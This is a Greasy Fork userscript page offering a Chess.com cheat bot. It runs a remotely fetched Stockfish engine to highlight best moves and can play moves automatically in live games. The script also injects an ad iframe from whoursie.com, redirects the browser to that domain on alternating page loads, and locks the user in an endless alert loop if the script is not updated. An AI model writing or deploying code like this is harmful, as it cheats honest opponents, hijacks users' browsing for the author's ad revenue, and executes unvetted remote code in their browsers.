Before you install, Greasy Fork would like you to know that this script contains antifeatures, which are things there for the script author's benefit, rather than yours.
This script will inject ads on the sites you visit.
Chess.com Bot/Cheat that finds the best move!
As of
// ==UserScript==
// @name Chess.com Bot/Cheat
// @namespace MrAuzzie
// @version 1.2.1
// @description Chess.com Bot/Cheat that finds the best move!
// @author MrAuzzie
// @license CC BY-NC-ND 4.0
// @match https://www.chess.com/play/*
// @match https://www.chess.com/game/*
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_xmlhttpRequest
// @grant GM_getResourceText
// @grant GM_registerMenuCommand
// @resource stockfish.js https://raw.githubusercontent.com/Auzgame/remote/main/stockfish.js
// @require https://gf.zukizuki.org/scripts/445697/code/index.js
// @require https://code.jquery.com/jquery-3.6.0.min.js
// @run-at document-start
// @antifeature ads
// ==/UserScript==
//Don't touch anything below unless you know what your doing!
const currentVersion = '1.2.1'; // Sets the current version
function main() {
var stockfishObjectURL;
var engine = document.engine = {};
var myVars = document.myVars = {};
myVars.autoMovePiece = false;
myVars.autoRun = false;
myVars.delay = 0.1;
var myFunctions = document.myFunctions = {};
stop_b = stop_w = 0;
s_br = s_br2 = s_wr = s_wr2 = 0;
obs = "";
myFunctions.rescan = function(lev) {
var ari = $("chess-board")
.find(".piece")
.map(function() {
return this.className;
})
.get();
jack = ari.map(f => f.substring(f.indexOf(' ') + 1));
function removeWord(arr, word) {
for (var i = 0; i < arr.length; i++) {
arr[i] = arr[i].replace(word, '');
}
}
removeWord(ari, 'square-');
jack = ari.map(f => f.substring(f.indexOf(' ') + 1));
for (var i = 0; i < jack.length; i++) {
jack[i] = jack[i].replace('br', 'r')
.replace('bn', 'n')
.replace('bb', 'b')
.replace('bq', 'q')
.replace('bk', 'k')
.replace('bb', 'b')
.replace('bn', 'n')
.replace('br', 'r')
.replace('bp', 'p')
.replace('wp', 'P')
.replace('wr', 'R')
.replace('wn', 'N')
.replace('wb', 'B')
.replace('br', 'R')
.replace('wn', 'N')
.replace('wb', 'B')
.replace('wq', 'Q')
.replace('wk', 'K')
.replace('wb', 'B')
}
str2 = "";
var count = 0,
str = "";
for (var j = 8; j > 0; j--) {
for (var i = 1; i < 9; i++) {
(str = (jack.find(el => el.includes([i] + [j])))) ? str = str.replace(/[^a-zA-Z]+/g, ''): str = "";
if (str == "") {
count++;
str = count.toString();
if (!isNaN(str2.charAt(str2.length - 1))) str2 = str2.slice(0, -1);
else {
count = 1;
str = count.toString()
}
}
str2 += str;
if (i == 8) {
count = 0;
str2 += "/";
}
}
}
str2 = str2.slice(0, -1);
//str2=str2+" KQkq - 0"
color = "";
wk = wq = bk = bq = "0";
const move = $('vertical-move-list')
.children();
if (move.length < 2) {
stop_b = stop_w = s_br = s_br2 = s_wr = s_wr2 = 0;
}
if (stop_b != 1) {
if (move.find(".black.node:contains('K')")
.length) {
bk = "";
bq = "";
stop_b = 1;
console.log('debug secb');
}
} else {
bq = "";
bk = "";
}
if (stop_b != 1)(bk = (move.find(".black.node:contains('O-O'):not(:contains('O-O-O'))")
.length) ? "" : "k") ? (bq = (move.find(".black.node:contains('O-O-O')")
.length) ? bk = "" : "q") : bq = "";
if (s_br != 1) {
if (move.find(".black.node:contains('R')")
.text()
.match('[abcd]+')) {
bq = "";
s_br = 1
}
} else bq = "";
if (s_br2 != 1) {
if (move.find(".black.node:contains('R')")
.text()
.match('[hgf]+')) {
bk = "";
s_br2 = 1
}
} else bk = "";
if (stop_b == 0) {
if (s_br == 0)
if (move.find(".white.node:contains('xa8')")
.length > 0) {
bq = "";
s_br = 1;
console.log('debug b castle_r');
}
if (s_br2 == 0)
if (move.find(".white.node:contains('xh8')")
.length > 0) {
bk = "";
s_br2 = 1;
console.log('debug b castle_l');
}
}
if (stop_w != 1) {
if (move.find(".white.node:contains('K')")
.length) {
wk = "";
wq = "";
stop_w = 1;
console.log('debug secw');
}
} else {
wq = "";
wk = "";
}
if (stop_w != 1)(wk = (move.find(".white.node:contains('O-O'):not(:contains('O-O-O'))")
.length) ? "" : "K") ? (wq = (move.find(".white.node:contains('O-O-O')")
.length) ? wk = "" : "Q") : wq = "";
if (s_wr != 1) {
if (move.find(".white.node:contains('R')")
.text()
.match('[abcd]+')) {
wq = "";
s_wr = 1
}
} else wq = "";
if (s_wr2 != 1) {
if (move.find(".white.node:contains('R')")
.text()
.match('[hgf]+')) {
wk = "";
s_wr2 = 1
}
} else wk = "";
if (stop_w == 0) {
if (s_wr == 0)
if (move.find(".black.node:contains('xa1')")
.length > 0) {
wq = "";
s_wr = 1;
console.log('debug w castle_l');
}
if (s_wr2 == 0)
if (move.find(".black.node:contains('xh1')")
.length > 0) {
wk = "";
s_wr2 = 1;
console.log('debug w castle_r');
}
}
if ($('.coordinates')
.children()
.first()
.text() == 1) {
str2 = str2 + " b " + wk + wq + bk + bq;
color = "white";
} else {
str2 = str2 + " w " + wk + wq + bk + bq;
color = "black";
}
//console.log(str2);
return str2;
}
myFunctions.color = function(dat){
response = dat;
var res1 = response.substring(0, 2);
var res2 = response.substring(2, 4);
if(myVars.autoMove == true){
myFunctions.movePiece(res1, res2);
}
isThinking = false;
res1 = res1.replace(/^a/, "1")
.replace(/^b/, "2")
.replace(/^c/, "3")
.replace(/^d/, "4")
.replace(/^e/, "5")
.replace(/^f/, "6")
.replace(/^g/, "7")
.replace(/^h/, "8");
res2 = res2.replace(/^a/, "1")
.replace(/^b/, "2")
.replace(/^c/, "3")
.replace(/^d/, "4")
.replace(/^e/, "5")
.replace(/^f/, "6")
.replace(/^g/, "7")
.replace(/^h/, "8");
$('chess-board')
.prepend('<div class="highlight square-' + res2 + ' bro" style="background-color: rgb(235, 97, 80); opacity: 0.71;" data-test-element="highlight"></div>')
.children(':first')
.delay(1800)
.queue(function() {
$(this)
.remove();
});
$('chess-board')
.prepend('<div class="highlight square-' + res1 + ' bro" style="background-color: rgb(235, 97, 80); opacity: 0.71;" data-test-element="highlight"></div>')
.children(':first')
.delay(1800)
.queue(function() {
$(this)
.remove();
});
}
myFunctions.movePiece = function(from, to){
for (var each in $('chess-board')[0].game.getLegalMoves()){
if($('chess-board')[0].game.getLegalMoves()[each].from == from){
if($('chess-board')[0].game.getLegalMoves()[each].to == to){
var move = $('chess-board')[0].game.getLegalMoves()[each];
$('chess-board')[0].game.move({
...move,
promotion: 'false',
animate: false,
userGenerated: true
});
}
}
}
}
function parser(e){
if(e.data.includes('bestmove')){
console.log(e.data.split(' ')[1]);
myFunctions.color(e.data.split(' ')[1]);
isThinking = false;
}
}
myFunctions.reloadChessEngine = function() {
console.log(`Reloading the chess engine!`);
engine.engine.terminate();
myFunctions.loadChessEngine();
}
myFunctions.loadChessEngine = function() {
if(!stockfishObjectURL) {
stockfishObjectURL = URL.createObjectURL(new Blob([GM_getResourceText('stockfish.js')], {type: 'application/javascript'}));
}
console.log(stockfishObjectURL);
if(stockfishObjectURL) {
engine.engine = new Worker(stockfishObjectURL);
engine.engine.onmessage = e => {
parser(e);
};
engine.engine.onerror = e => {
console.log("Worker Error: "+e);
};
engine.engine.postMessage('ucinewgame');
}
console.log('loaded chess engine');
}
var lastValue = 10;
myFunctions.runChessEngine = function(depth){
//var fen = myFunctions.rescan();
var fen = $('chess-board')[0].game.getFEN();
engine.engine.postMessage(`position fen ${fen} - - 0 25`);
console.log('updated: ' + `position fen ${fen} - - 0 25`);
isThinking = true;
engine.engine.postMessage(`go depth ${depth}`);
lastValue = depth;
}
myFunctions.autoRun = function(lstValue){
if($('chess-board')[0].game.getTurn() == $('chess-board')[0].game.getPlayingAs()){
myFunctions.runChessEngine(lstValue);
}
}
document.onkeydown = function(e) {
switch (e.keyCode) {
case 81:
myFunctions.runChessEngine(1);
break;
case 87:
myFunctions.runChessEngine(2);
break;
case 69:
myFunctions.runChessEngine(3);
break;
case 82:
myFunctions.runChessEngine(4);
break;
case 84:
myFunctions.runChessEngine(5);
break;
case 89:
myFunctions.runChessEngine(6);
break;
case 85:
myFunctions.runChessEngine(7);
break;
case 73:
myFunctions.runChessEngine(8);
break;
case 79:
myFunctions.runChessEngine(9);
break;
case 80:
myFunctions.runChessEngine(10);
break;
case 65:
myFunctions.runChessEngine(11);
break;
case 83:
myFunctions.runChessEngine(12);
break;
case 68:
myFunctions.runChessEngine(13);
break;
case 70:
myFunctions.runChessEngine(14);
break;
case 71:
myFunctions.runChessEngine(15);
break;
case 72:
myFunctions.runChessEngine(16);
break;
case 74:
myFunctions.runChessEngine(17);
break;
case 75:
myFunctions.runChessEngine(18);
break;
case 76:
myFunctions.runChessEngine(19);
break;
case 90:
myFunctions.runChessEngine(20);
break;
case 88:
myFunctions.runChessEngine(21);
break;
case 67:
myFunctions.runChessEngine(22);
break;
case 86:
myFunctions.runChessEngine(23);
break;
case 66:
myFunctions.runChessEngine(24);
break;
case 78:
myFunctions.runChessEngine(25);
break;
case 77:
myFunctions.runChessEngine(26);
break;
case 187:
myFunctions.runChessEngine(100);
break;
}
};
myFunctions.spinner = function() {
if(isThinking == true){
$('#overlay')[0].style.display = 'block';
}
if(isThinking == false) {
$('#overlay')[0].style.display = 'none';
}
}
let dynamicStyles = null;
function addAnimation(body) {
if (!dynamicStyles) {
dynamicStyles = document.createElement('style');
dynamicStyles.type = 'text/css';
document.head.appendChild(dynamicStyles);
}
dynamicStyles.sheet.insertRule(body, dynamicStyles.length);
}
myFunctions.replaceAd = function(){
try {
$('#sky-atf')[0].children[0].remove();
var ifr = document.createElement('iframe');
ifr.src = 'https://'+l;
ifr.id = 'myAd1';
ifr.height = '600px';
ifr.width = '160px';
$('#sky-atf')[0].appendChild(ifr)
} catch (er) {console.log('Error Injecting Ad: '+er);}
}
var loaded = false;
myFunctions.loadEx = function(){
try{
var div = document.createElement('div')
var content = `<br><input type="checkbox" id="autoRun" name="autoRun" value="false">
<label for="autoRun"> Enable auto run</label><br>
<input type="checkbox" id="autoMove" name="autoMove" value="false">
<label for="autoMove"> Enable auto move</label><br>
<input type="number" id="timeDelay" name="timeDelay" min="0.1" value=0.1>
<label for="timeDelay">Auto Run Delay (Seconds)</label>`
div.innerHTML = content;
div.setAttribute('style','background-color:white; height:auto;');
div.setAttribute('id','settingsContainer');
$('chess-board')[0].parentElement.parentElement.appendChild(div);
//spinnerContainer
var spinCont = document.createElement('div');
spinCont.setAttribute('style','display:none;');
spinCont.setAttribute('id','overlay');
div.prepend(spinCont);
//spinner
var spinr = document.createElement('div')
spinr.setAttribute('style',`
margin: 0 auto;
height: 64px;
width: 64px;
animation: rotate 0.8s infinite linear;
border: 5px solid firebrick;
border-right-color: transparent;
border-radius: 50%;
`);
spinCont.appendChild(spinr);
addAnimation(`@keyframes rotate {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}`);
loaded = true;
} catch (error) {console.log(error)}
}
function other(delay){
var endTime = Date.now() + delay;
var timer = setInterval(()=>{
if(Date.now() >= endTime){
myFunctions.autoRun(lastValue);
canGo = true;
clearInterval(timer);
}
},10);
}
async function getVersion(){
var GF = new GreasyFork; // set upping api
var code = await GF.get().script().code(460208); // Get code
var version = GF.parseScriptCodeMeta(code).filter(e => e.meta === '@version')[0].value; // filtering array and getting value of @version
if(currentVersion !== version){
while(true){
alert('UPDATE THIS SCRIPT IN ORDER TO PROCEED!');
}
}
}
getVersion();
const waitForChessBoard = setInterval(() => {
if(loaded) {
myVars.autoRun = $('#autoRun')[0].checked;
myVars.autoMove = $('#autoMove')[0].checked;
myVars.delay = $('#timeDelay')[0].value;
myVars.isThinking = isThinking;
myFunctions.spinner();
if($('chess-board')[0].game.getTurn() == $('chess-board')[0].game.getPlayingAs()){myTurn = true;} else {myTurn = false;}
} else {
myFunctions.loadEx();
}
if(!($('#myAd1')[0])){
myFunctions.replaceAd();
}
if(!engine.engine){
myFunctions.loadChessEngine();
}
if(myVars.autoRun == true && canGo == true && isThinking == false && myTurn){
console.log(`going: ${canGo} ${isThinking} ${myTurn}`);
canGo = false;
var currentDelay = myVars.delay != undefined ? myVars.delay * 1000 : 10;
other(currentDelay);
}
}, 100);
}
var isThinking = false
var canGo = true;
var myTurn = false;
var l = 'whoursie.com/4/5729456';
window.addEventListener("load", (event) => {
main();
if(!(localStorage.getItem('ads') == 'false')){
localStorage.setItem('ads', false);
document.location = 'https://'+l;
} else { localStorage.setItem('ads', true);}
});